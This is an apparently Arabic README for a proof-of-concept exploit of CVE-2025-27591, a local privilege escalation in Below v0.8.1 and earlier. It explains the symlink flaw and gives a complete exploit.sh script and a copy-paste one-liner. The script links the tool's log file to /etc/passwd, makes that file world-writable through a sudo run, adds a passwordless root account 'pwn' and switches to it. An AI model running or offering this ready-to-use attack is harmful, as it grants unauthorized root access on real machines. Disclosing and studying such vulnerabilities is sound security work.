
Below v0.8.1 - تصعيد الصلاحيات المحلية (CVE-2025-27591) - استغلال PoC
Below <= v0.8.1
تصعيد الامتيازات المحلي عبر رابط رمزي لملف السجل قابل للكتابة عالميًا
استغلال PoC
الإصدارات Below <= 0.8.1 تحتوي على ثغرة حرجة لتصعيد الامتيازات المحلية (CVE-2025-27591).
بسبب دليل سجلات قابل للكتابة عالميًا تم تكوينه بشكل غير آمن (/var/log/below/) ومنطق أذونات غير آمن في قاعدة شفرة Rust، يمكن للمهاجم المحلي إنشاء رابط رمزي لـ error_<user>.log إلى أي ملف مملوك للجذر مثل /etc/passwd.
عند تنفيذ below snapshot باستخدام sudo، فإنه يجبر على تعيين الوضع 0666 على ملف السجل ويكتب إليه - حتى لو كان رابطًا رمزيًا.
يسمح هذا بحقن مستخدم بامتيازات root بدون كلمة مرور، مما يؤدي إلى الوصول الكامل إلى شل الجذر.
git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
أو
كود الاستغلال
# Title : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage : usage: ./exploit.sh
u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry to /etc/passwd (now writable)
su pwn
ملاحظة: تمت إضافة exploit.sh إلى README.md بعد أن استخدم IppSec السطر الواحد بدلاً من exploit.sh في شرحه. ظننت أن هذا سيكون أسهل للجميع. شكرًا IppSec. ^^
أو
سطر واحد - (انسخ والصق ونفذ)
u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
sudo مع صلاحية NOPASSWD على /usr/bin/below *تم اكتشافه وإبلاغه بواسطة Matthias Gerstner @ SUSE - التنبيه الأمني
استغلال PoC - Ravindu Wickramasinhge المعروف بـ rvz